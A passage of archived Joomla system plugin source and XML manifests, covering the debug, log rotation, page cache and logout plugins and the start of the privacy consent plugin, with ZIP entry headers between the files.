		if (strpos($contents, '<html><head><meta http-equiv="refresh" content="0;') === 0
			&& strpos(strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''), 'webkit') !== false)
		{
			$this->debugBar->stackData();

			echo $contents;

			return;
		}

		echo str_replace('</body>', $debugBarRenderer->renderHead() . $debugBarRenderer->render() . '</body>', $contents);
	}

	/**
	 * AJAX handler
	 *
	 * @return  string
	 *
	 * @since  4.0.0
	 */
	public function onAjaxDebug()
	{
		// Do not render if debugging or language debug is not enabled.
		if (!JDEBUG && !$this->debugLang)
		{
			return '';
		}

		// User has to be authorised to see the debug information.
		if (!$this->isAuthorisedDisplayDebug() || !Session::checkToken('request'))
		{
			return '';
		}

		switch ($this->app->input->get('action'))
		{
			case 'openhandler':
				$handler = new OpenHandler($this->debugBar);

				return $handler->handle($this->app->input->request->getArray(), false, false);
			default:
				return '';
		}
	}

	/**
	 * Method to check if the current user is allowed to see the debug information or not.
	 *
	 * @return  boolean  True if access is allowed.
	 *
	 * @since   3.0
	 */
	private function isAuthorisedDisplayDebug(): bool
	{
		static $result = null;

		if ($result !== null)
		{
			return $result;
		}

		// If the user is not allowed to view the output then end here.
		$filterGroups = (array) $this->params->get('filter_groups', []);

		if (!empty($filterGroups))
		{
			$userGroups = $this->app->getIdentity()->get('groups');

			if (!array_intersect($filterGroups, $userGroups))
			{
				$result = false;

				return false;
			}
		}

		$result = true;

		return true;
	}

	/**
	 * Disconnect handler for database to collect profiling and explain information.
	 *
	 * @param   ConnectionEvent  $event  Event object
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onAfterDisconnect(ConnectionEvent $event)
	{
		if (!JDEBUG)
		{
			return;
		}

		$db = $event->getDriver();

		// Remove the monitor to avoid monitoring the following queries
		$db->setMonitor(null);

		$this->totalQueries = $db->getCount();

		if ($this->params->get('query_profiles') && $db->getServerType() === 'mysql')
		{
			try
			{
				// Check if profiling is enabled.
				$db->setQuery("SHOW VARIABLES LIKE 'have_profiling'");
				$hasProfiling = $db->loadResult();

				if ($hasProfiling)
				{
					// Run a SHOW PROFILE query.
					$db->setQuery('SHOW PROFILES');
					$this->sqlShowProfiles = $db->loadAssocList();

					if ($this->sqlShowProfiles)
					{
						foreach ($this->sqlShowProfiles as $qn)
						{
							// Run SHOW PROFILE FOR QUERY for each query where a profile is available (max 100).
							$db->setQuery('SHOW PROFILE FOR QUERY ' . (int) $qn['Query_ID']);
							$this->sqlShowProfileEach[(int) ($qn['Query_ID'] - 1)] = $db->loadAssocList();
						}
					}
				}
				else
				{
					$this->sqlShowProfileEach[0] = [['Error' => 'MySql have_profiling = off']];
				}
			}
			catch (Exception $e)
			{
				$this->sqlShowProfileEach[0] = [['Error' => $e->getMessage()]];
			}
		}

		if ($this->params->get('query_explains') && in_array($db->getServerType(), ['mysql', 'postgresql'], true))
		{
			$logs        = $this->queryMonitor->getLogs();
			$boundParams = $this->queryMonitor->getBoundParams();

			foreach ($logs as $k => $query)
			{
				$dbVersion56 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '5.6', '>=');
				$dbVersion80 = $db->getServerType() === 'mysql' && version_compare($db->getVersion(), '8.0', '>=');

				if ($dbVersion80)
				{
					$dbVersion56 = false;
				}

				if ((stripos($query, 'select') === 0) || ($dbVersion56 && ((stripos($query, 'delete') === 0) || (stripos($query, 'update') === 0))))
				{
					try
					{
						$queryInstance = $db->getQuery(true);
						$queryInstance->setQuery('EXPLAIN ' . ($dbVersion56 ? 'EXTENDED ' : '') . $query);

						if ($boundParams[$k])
						{
							foreach ($boundParams[$k] as $key => $obj)
							{
								$queryInstance->bind($key, $obj->value, $obj->dataType, $obj->length, $obj->driverOptions);
							}
						}

						$this->explains[$k] = $db->setQuery($queryInstance)->loadAssocList();
					}
					catch (Exception $e)
					{
						$this->explains[$k] = [['error' => $e->getMessage()]];
					}
				}
			}
		}
	}

	/**
	 * Store log messages so they can be displayed later.
	 * This function is passed log entries by JLogLoggerCallback.
	 *
	 * @param   LogEntry  $entry  A log entry.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 *
	 * @deprecated  5.0  Use Log::add(LogEntry $entry);
	 */
	public function logger(LogEntry $entry)
	{
		if (!$this->showLogs)
		{
			return;
		}

		$this->logEntries[] = $entry;
	}

	/**
	 * Collect log messages.
	 *
	 * @return $this
	 *
	 * @since 4.0.0
	 */
	private function collectLogs(): self
	{
		$loggerOptions = ['group' => 'default'];
		$logger        = new Joomla\CMS\Log\Logger\InMemoryLogger($loggerOptions);
		$logEntries    = $logger->getCollectedEntries();

		if (!$this->logEntries && !$logEntries)
		{
			return $this;
		}

		if ($this->logEntries)
		{
			$logEntries = array_merge($logEntries, $this->logEntries);
		}

		$logDeprecated = $this->app->get('log_deprecated', 0);
		$logDeprecatedCore = $this->params->get('log-deprecated-core', 0);

		$this->debugBar->addCollector(new MessagesCollector('log'));

		if ($logDeprecated)
		{
			$this->debugBar->addCollector(new MessagesCollector('deprecated'));
			$this->debugBar->addCollector(new MessagesCollector('deprecation-notes'));
		}

		if ($logDeprecatedCore)
		{
			$this->debugBar->addCollector(new MessagesCollector('deprecated-core'));
		}

		foreach ($logEntries as $entry)
		{
			switch ($entry->category)
			{
				case 'deprecation-notes':
					if ($logDeprecated)
					{
						$this->debugBar[$entry->category]->addMessage($entry->message);
					}
				break;
				case 'deprecated':
					if (!$logDeprecated && !$logDeprecatedCore)
					{
						break;
					}

					$file = $entry->callStack[2]['file'] ?? '';
					$line = $entry->callStack[2]['line'] ?? '';

					if (!$file)
					{
						// In case trigger_error is used
						$file = $entry->callStack[4]['file'] ?? '';
						$line = $entry->callStack[4]['line'] ?? '';
					}

					$category = $entry->category;
					$relative = str_replace(JPATH_ROOT, '', $file);

					if (0 === strpos($relative, '/libraries/src'))
					{
						if (!$logDeprecatedCore)
						{
							break;
						}

						$category .= '-core';
					}
					elseif (!$logDeprecated)
					{
						break;
					}

					$message = [
						'message' => $entry->message,
						'caller' => $file . ':' . $line,
						// @todo 'stack' => $entry->callStack;
					];
					$this->debugBar[$category]->addMessage($message, 'warning');
				break;

				case 'databasequery':
					// Should be collected by its own collector
				break;

				default:
					switch ($entry->priority)
					{
						case Log::EMERGENCY:
						case Log::ALERT:
						case Log::CRITICAL:
						case Log::ERROR:
							$level = 'error';
							break;
						case Log::WARNING:
							$level = 'warning';
							break;
						default:
							$level = 'info';
					}

					$this->debugBar['log']->addMessage($entry->category . ' - ' . $entry->message, $level);
					break;
			}
		}

		return $this;
	}
}
PK!��f���debug/debug.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_debug</name>
	<author>Joomla! Project</author>
	<creationDate>December 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_DEBUG_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Plugin\System\Debug</namespace>
	<files>
		<filename plugin="debug">debug.php</filename>
		<folder>src</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_debug.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_debug.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="refresh_assets"
					type="radio"
					label="PLG_DEBUG_FIELD_REFRESH_ASSETS_LABEL"
					description="PLG_DEBUG_FIELD_REFRESH_ASSETS_DESC"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="filter_groups"
					type="usergrouplist"
					label="PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL"
					multiple="true"
					layout="joomla.form.field.list-fancy-select"
					filter="intarray"
				/>

				<field
					name="memory"
					type="radio"
					label="PLG_DEBUG_FIELD_MEMORY_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="request"
					type="radio"
					label="PLG_DEBUG_FIELD_REQUEST_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="session"
					type="radio"
					label="PLG_DEBUG_FIELD_SESSION_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="profile"
					type="radio"
					label="PLG_DEBUG_FIELD_PROFILING_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="queries"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERIES_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="query_traces"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERY_TRACES_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="queries:1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="query_profiles"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERY_PROFILES_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="queries:1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="query_explains"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERY_EXPLAINS_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					showon="queries:1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
			</fieldset>

			<fieldset
				name="language"
				label="PLG_DEBUG_LANGUAGE_FIELDSET_LABEL"
				>

				<field
					name="language_errorfiles"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="language_files"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="language_strings"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="strip-first"
					type="radio"
					label="PLG_DEBUG_FIELD_STRIP_FIRST_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="strip-prefix"
					type="textarea"
					label="PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_PREFIX_DESC"
					cols="30"
					rows="4"
				/>

				<field
					name="strip-suffix"
					type="textarea"
					label="PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC"
					cols="30"
					rows="4"
				/>
			</fieldset>

			<fieldset
				name="logging"
				label="PLG_DEBUG_LOGGING_FIELDSET_LABEL"
				>
				<field
					name="logs"
					type="radio"
					label="PLG_DEBUG_FIELD_LOGS_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="log-deprecated-core"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_DEPRECATED_CORE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					showon="logs:1"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK!�R<<logrotation/logrotation.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.logrotation
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Filesystem\Path;

/**
 * Joomla! Log Rotation plugin
 *
 * Rotate the log files created by Joomla core
 *
 * @since  3.9.0
 */
class PlgSystemLogrotation extends CMSPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * The log check and rotation code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRender()
	{
		// Get the timeout as configured in plugin parameters

		/** @var \Joomla\Registry\Registry $params */
		$cache_timeout = (int) $this->params->get('cachetimeout', 30);
		$cache_timeout = 24 * 3600 * $cache_timeout;
		$logsToKeep    = (int) $this->params->get('logstokeep', 1);

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if ((abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$paramsJson = $this->params->toString('JSON');
		$db         = $this->db;
		$query      = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = :params')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('logrotation'))
			->bind(':params', $paramsJson);

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// Get the log path
		$logPath = Path::clean($this->app->get('log_path'));

		// Invalid path, stop processing further
		if (!is_dir($logPath))
		{
			return;
		}

		$logFiles = $this->getLogFiles($logPath);

		// Sort log files by version number in reserve order
		krsort($logFiles, SORT_NUMERIC);

		foreach ($logFiles as $version => $files)
		{
			if ($version >= $logsToKeep)
			{
				// Delete files which has version greater than or equals $logsToKeep
				foreach ($files as $file)
				{
					File::delete($logPath . '/' . $file);
				}
			}
			else
			{
				// For files which has version smaller than $logsToKeep, rotate (increase version number)
				foreach ($files as $file)
				{
					$this->rotate($logPath, $file, $version);
				}
			}
		}
	}

	/**
	 * Get log files from log folder
	 *
	 * @param   string  $path  The folder to get log files
	 *
	 * @return  array   The log files in the given path grouped by version number (not rotated files has number 0)
	 *
	 * @since   3.9.0
	 */
	private function getLogFiles($path)
	{
		$logFiles = array();
		$files    = Folder::files($path, '\.php$');

		foreach ($files as $file)
		{
			$parts    = explode('.', $file);

			/*
			 * Rotated log file has this filename format [VERSION].[FILENAME].php. So if $parts has at least 3 elements
			 * and the first element is a number, we know that it's a rotated file and can get it's current version
			 */
			if (count($parts) >= 3 && is_numeric($parts[0]))
			{
				$version = (int) $parts[0];
			}
			else
			{
				$version = 0;
			}

			if (!isset($logFiles[$version]))
			{
				$logFiles[$version] = array();
			}

			$logFiles[$version][] = $file;
		}

		return $logFiles;
	}

	/**
	 * Method to rotate (increase version) of a log file
	 *
	 * @param   string  $path            Path to file to rotate
	 * @param   string  $filename        Name of file to rotate
	 * @param   int     $currentVersion  The current version number
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function rotate($path, $filename, $currentVersion)
	{
		if ($currentVersion === 0)
		{
			$rotatedFile = $path . '/1.' . $filename;
		}
		else
		{
			/*
			 * Rotated log file has this filename format [VERSION].[FILENAME].php. To rotate it, we just need to explode
			 * the filename into an array, increase value of first element (keep version) and implode it back to get the
			 * rotated file name
			 */
			$parts    = explode('.', $filename);
			$parts[0] = $currentVersion + 1;

			$rotatedFile = $path . '/' . implode('.', $parts);
		}

		File::move($path . '/' . $filename, $rotatedFile);
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							Factory::getApplication()->get('cache_path', JPATH_SITE . '/cache'),
					);

					$cache = Cache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK!�ȱ�logrotation/logrotation.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_logrotation</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_LOGROTATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="logrotation">logrotation.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">language/en-GB/plg_system_logrotation.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_logrotation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cachetimeout"
					type="integer"
					label="PLG_SYSTEM_LOGROTATION_CACHETIMEOUT_LABEL"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>

				<field
					name="logstokeep"
					type="integer"
					label="PLG_SYSTEM_LOGROTATION_LOGSTOKEEP_LABEL"
					first="1"
					last="10"
					step="1"
					default="1"
					filter="int"
					validate="number"
				/>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!"��RRcache/cache.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.cache
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Profiler\Profiler;
use Joomla\CMS\Uri\Uri;

/**
 * Joomla! Page Cache Plugin.
 *
 * @since  1.5
 */
class PlgSystemCache extends CMSPlugin
{
	/**
	 * Cache instance.
	 *
	 * @var    \Joomla\CMS\Cache\CacheController
	 * @since  1.5
	 */
	public $_cache;

	/**
	 * Cache key
	 *
	 * @var    string
	 * @since  3.0
	 */
	public $_cache_key;

	/**
	 * Application object.
	 *
	 * @var    \Joomla\CMS\Application\CMSApplication
	 * @since  3.8.0
	 */
	protected $app;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Set the cache options.
		$options = array(
			'defaultgroup' => 'page',
			'browsercache' => $this->params->get('browsercache', 0),
			'caching'      => false,
		);

		// Instantiate cache with previous options and create the cache key identifier.
		$this->_cache     = Cache::getInstance('page', $options);
		$this->_cache_key = Uri::getInstance()->toString();
	}

	/**
	 * Get a cache key for the current page based on the url and possible other factors.
	 *
	 * @return  string
	 *
	 * @since   3.7
	 */
	protected function getCacheKey()
	{
		static $key;

		if (!$key)
		{
			PluginHelper::importPlugin('pagecache');

			$parts = $this->app->triggerEvent('onPageCacheGetKey');
			$parts[] = Uri::getInstance()->toString();

			$key = md5(serialize($parts));
		}

		return $key;
	}

	/**
	 * Checks if URL exists in cache, if so dumps it directly and closes.
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onAfterRoute()
	{
		if ($this->app->isClient('administrator') || $this->app->get('offline', '0') || $this->app->getMessageQueue())
		{
			return;
		}

		// If any pagecache plugins return false for onPageCacheSetCaching, do not use the cache.
		PluginHelper::importPlugin('pagecache');

		$results = $this->app->triggerEvent('onPageCacheSetCaching');
		$caching = !in_array(false, $results, true);

		if ($caching && $this->app->getIdentity()->guest && $this->app->input->getMethod() === 'GET')
		{
			$this->_cache->setCaching(true);
		}

		$data = $this->_cache->get($this->getCacheKey());

		// If page exist in cache, show cached page.
		if ($data !== false)
		{
			// Set HTML page from cache.
			$this->app->setBody($data);

			// Dumps HTML page.
			echo $this->app->toString((bool) $this->app->get('gzip'));

			// Mark afterCache in debug and run debug onAfterRespond events, e.g. show Joomla Debug Console if debug is active.
			if (JDEBUG)
			{
				// Create a document instance and load it into the application.
				$document = Factory::getContainer()->get('document.factory')->createDocument($this->app->input->get('format', 'html'));
				$this->app->loadDocument($document);

				Profiler::getInstance('Application')->mark('afterCache');
				$this->app->triggerEvent('onAfterRespond');
			}

			// Closes the application.
			$this->app->close();
		}
	}

	/**
	 * After Render Event.
	 * Verify if current page is not excluded from cache.
	 *
	 * @return   void
	 *
	 * @since   3.9.12
	 */
	public function onAfterRender()
	{
		if ($this->_cache->getCaching() === false)
		{
			return;
		}

		// We need to check if user is guest again here, because auto-login plugins have not been fired before the first aid check.
		// Page is excluded if excluded in plugin settings.
		if (!$this->app->getIdentity()->guest || $this->app->getMessageQueue() || $this->isExcluded() === true)
		{
			$this->_cache->setCaching(false);

			return;
		}

		// Disable compression before caching the page.
		$this->app->set('gzip', false);
	}

	/**
	 * After Respond Event.
	 * Stores page in cache.
	 *
	 * @return   void
	 *
	 * @since   1.5
	 */
	public function onAfterRespond()
	{
		if ($this->_cache->getCaching() === false)
		{
			return;
		}

		// Saves current page in cache.
		$this->_cache->store($this->app->getBody(), $this->getCacheKey());
	}

	/**
	 * Check if the page is excluded from the cache or not.
	 *
	 * @return   boolean  True if the page is excluded else false
	 *
	 * @since    3.5
	 */
	protected function isExcluded()
	{
		// Check if menu items have been excluded.
		if ($exclusions = $this->params->get('exclude_menu_items', array()))
		{
			// Get the current menu item.
			$active = $this->app->getMenu()->getActive();

			if ($active && $active->id && in_array((int) $active->id, (array) $exclusions))
			{
				return true;
			}
		}

		// Check if regular expressions are being used.
		if ($exclusions = $this->params->get('exclude', ''))
		{
			// Normalize line endings.
			$exclusions = str_replace(array("\r\n", "\r"), "\n", $exclusions);

			// Split them.
			$exclusions = explode("\n", $exclusions);

			// Gets internal URI.
			$internal_uri	= '/index.php?' . Uri::getInstance()->buildQuery($this->app->getRouter()->getVars());

			// Loop through each pattern.
			if ($exclusions)
			{
				foreach ($exclusions as $exclusion)
				{
					// Make sure the exclusion has some content
					if ($exclusion !== '')
					{
						// Test both external and internal URI
						if (preg_match('#' . $exclusion . '#i', $this->_cache_key . ' ' . $internal_uri, $match))
						{
							return true;
						}
					}
				}
			}
		}

		// If any pagecache plugins return true for onPageCacheIsExcluded, exclude.
		PluginHelper::importPlugin('pagecache');

		$results = $this->app->triggerEvent('onPageCacheIsExcluded');

		return in_array(true, $results, true);
	}
}
PK!E+�RFFcache/cache.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_cache</name>
	<author>Joomla! Project</author>
	<creationDate>February 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CACHE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cache">cache.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_cache.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_cache.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="browsercache"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_CACHE_FIELD_BROWSERCACHE_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="exclude_menu_items"
					type="menuitem"
					label="PLG_CACHE_FIELD_EXCLUDE_MENU_ITEMS_LABEL"
					multiple="multiple"
					filter="intarray"
					layout="joomla.form.field.groupedlist-fancy-select"
				/>

			</fieldset>
			<fieldset name="advanced">
				<field
					name="exclude"
					type="textarea"
					label="PLG_CACHE_FIELD_EXCLUDE_LABEL"
					description="PLG_CACHE_FIELD_EXCLUDE_DESC"
					rows="15"
					filter="raw"
				/>

			</fieldset>
		</fields>
	</config>
</extension>
PK!Elogout/logout.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_logout</name>
	<author>Joomla! Project</author>
	<creationDate>April 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LOGOUT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="logout">logout.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_logout.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_logout.sys.ini</language>
	</languages>
</extension>
PK!V6;���logout/logout.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.logout
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Plugin class for logout redirect handling.
 *
 * @since  1.6
 */
class PlgSystemLogout extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.7.3
	 */
	protected $app;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe -- event dispatcher.
	 * @param   object  $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// If we are on admin don't process.
		if (!$this->app->isClient('site'))
		{
			return;
		}

		$hash  = ApplicationHelper::getHash('PlgSystemLogout');

		if ($this->app->input->cookie->getString($hash))
		{
			// Destroy the cookie.
			$this->app->input->cookie->set($hash, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
		}
	}

	/**
	 * Method to handle any logout logic and report back to the subject.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (client, ...).
	 *
	 * @return  boolean  Always returns true.
	 *
	 * @since   1.6
	 */
	public function onUserLogout($user, $options = array())
	{
		if ($this->app->isClient('site'))
		{
			// Create the cookie.
			$this->app->input->cookie->set(
				ApplicationHelper::getHash('PlgSystemLogout'),
				true,
				time() + 86400,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}

		return true;
	}
}
PK!)���WPWP!privacyconsent/privacyconsent.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Mail\Exception\MailDisabledException;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;
use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel;
use Joomla\Component\Messages\Administrator\Model\MessageModel;
use Joomla\Database\Exception\ExecutionFailureException;
use Joomla\Database\ParameterType;
use Joomla\Utilities\ArrayHelper;
use PHPMailer\PHPMailer\Exception as phpmailerException;

/**
 * An example custom privacyconsent plugin.
 *
